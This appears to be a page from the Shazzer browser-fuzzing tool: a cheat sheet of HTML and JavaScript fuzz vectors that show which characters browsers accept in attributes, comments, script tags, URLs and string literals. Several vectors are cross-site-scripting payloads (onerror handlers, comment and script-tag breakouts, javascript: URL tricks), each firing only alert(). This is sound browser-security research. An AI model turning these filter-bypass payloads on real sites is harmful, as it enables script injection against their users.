Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
anchor.href='//example.com';
anchor.username = encodeURIComponent(String.fromCodePoint(33));
if(!/%/.test(anchor+''))alert(33)This vector shows which characters that are URL decoded in the credentials part
anchor.href='//example.com';
anchor.username = encodeURIComponent(String.fromCodePoint(40));
if(!/%/.test(anchor+''))alert(40)This vector shows which characters that are URL decoded in the credentials part
anchor.href='//example.com';
anchor.username = encodeURIComponent(String.fromCodePoint(41));
if(!/%/.test(anchor+''))alert(41)This vector shows which characters that are URL decoded in the credentials part
anchor.href='//example.com';
anchor.username = encodeURIComponent(String.fromCodePoint(42));
if(!/%/.test(anchor+''))alert(42)This vector shows which characters that are URL decoded in the credentials part
anchor.href='//example.com';
anchor.username = encodeURIComponent(String.fromCodePoint(45));
if(!/%/.test(anchor+''))alert(45)This vector shows which characters that are URL decoded in the credentials part
var markup = `<a0x09id=xss>shirley</a>`
var dom = new DOMParser().parseFromString(markup,'text/html')
if(dom.getElementById('xss')){
alert(9)
}
This vector shows which characters can be used instead of the normal space to work as an attribute seperator
var markup = `<a
id=xss>shirley</a>`
var dom = new DOMParser().parseFromString(markup,'text/html')
if(dom.getElementById('xss')){
alert(10)
}
This vector shows which characters can be used instead of the normal space to work as an attribute seperator
var markup = `<a0x0Cid=xss>shirley</a>`
var dom = new DOMParser().parseFromString(markup,'text/html')
if(dom.getElementById('xss')){
alert(12)
}
This vector shows which characters can be used instead of the normal space to work as an attribute seperator
var markup = `<a
id=xss>shirley</a>`
var dom = new DOMParser().parseFromString(markup,'text/html')
if(dom.getElementById('xss')){
alert(13)
}
This vector shows which characters can be used instead of the normal space to work as an attribute seperator
var markup = `<a id=xss>shirley</a>`
var dom = new DOMParser().parseFromString(markup,'text/html')
if(dom.getElementById('xss')){
alert(32)
}
This vector shows which characters can be used instead of the normal space to work as an attribute seperator
<! <a/b="--><img/src/onerror=alert(1)>"This vector shows which characters can be used after the "<" character and act as an HTML comment
</ <a/b="--><img/src/onerror=alert(1)>"This vector shows which characters can be used after the "<" character and act as an HTML comment
<? <a/b="--><img/src/onerror=alert(1)>"This vector shows which characters can be used after the "<" character and act as an HTML comment
<script>
x = "<!--<script0x09>"
</script>
<div title="</script><img src=data: onerror=alert(9)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>
x = "<!--<script>>"
</script>
<div title="</script><img src=data: onerror=alert(62)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>
x = "<!--<script/>"
</script>
<div title="</script><img src=data: onerror=alert(47)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>
x = "<!--<script
>"
</script>
<div title="</script><img src=data: onerror=alert(13)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
<script>
x = "<!--<script >"
</script>
<div title="</script><img src=data: onerror=alert(32)>"></div>This demonstrates that Shazzer now allows you to fuzz script tags.
var myVar = "foo"
alert(34)
// a";
Characters allowed to end a Javascript string followed by a new line.
var targets=['"','\'','<','/','>','\\']
if (targets.includes('0x00'.toUpperCase())) {
alert(0+' (normal) (0x00 -> '+"0x00".toUpperCase()+')')
}
if (targets.includes('0x00'.toLocaleUpperCase())) {
alert(0+' (locale) (0x00 -> '+"0x00".toLocaleUpperCase()+')')
}Checks for any special characters which are converted to something else when uppercased.
<div id="test" style="⟦00⟧onload="alert(1)">hello</div>Characters that can break out of an inline style with double quotes
This vector shows what characters used in a multiline string after the backslash
This vector shows what characters used in a multiline string after the backslash
This vector shows what characters used in a multiline string after the backslash
This vector shows what characters used in a multiline string after the backslash
<!----!>><img/src/onerror=alert(1)>({"x\
":1337}.x)==1337&&alert(13)This vector shows what characters are ignored in a multiline string after the backslash
const props = Object.getOwnPropertyNames(window);
for(const prop in document){
try{
props.push("document."+prop);
} catch{}
}
props.forEach(prop => {
try {
if(typeof parent[prop] !== 'undefined') {
alert("parent."+prop);
}
} catch{}
})This vector attempts to see which properties are available on the parent window of a sandboxed iframe.
A JS vector that shows what characters are allowed in-between operators.
A JS vector that shows what characters are allowed in-between operators.
A JS vector that shows what characters are allowed in-between operators.
A JS vector that shows what characters are allowed in-between operators.
<div style=0x09color:red⟦09⟧></div>This vector shows which characters act as quotes or whitespace in HTML attributes
This vector shows which characters act as quotes or whitespace in HTML attributes
<div style=0x0Ccolor:red⟦0C⟧></div>This vector shows which characters act as quotes or whitespace in HTML attributes
This vector shows which characters act as quotes or whitespace in HTML attributes
This vector shows which characters act as quotes or whitespace in HTML attributes
const c = String.fromCodePoint(i)
const c_lower = c.toLowerCase()
if (c_lower.length != c.length){
alert(i)
}Useful for code that expects data of a certain length, but lowercases it in between checking and using.
<a href="0x01javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x02javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x03javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x04javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="0x05javascript:test.com/" id="test"></a>Characters that can precede the javascript protocol in html
<a href="https://0x09example.com/" id="test9"></a><a href="https://
example.com/" id="test10"></a><a href="https://
example.com/" id="test13"></a><a href="https:///example.com/" id="test47"></a><a href="https://@example.com/" id="test64"></a>This vector shows what characters can be used to break out of a single line comment and execute Javascript
This vector shows what characters can be used to break out of a single line comment and execute Javascript
This vector shows what characters can be used to break out of a single line comment and execute Javascript
This vector shows what characters can be used to break out of a single line comment and execute Javascript
anchor.href='/0x09/example.com';
if(anchor.host === 'example.com')alert(9)This vector shows what characters are allowed inside slashes on an anchor href
anchor.href='///example.com';
if(anchor.host === 'example.com')alert(47)This vector shows what characters are allowed inside slashes on an anchor href
anchor.href='/\/example.com';
if(anchor.host === 'example.com')alert(92)This vector shows what characters are allowed inside slashes on an anchor href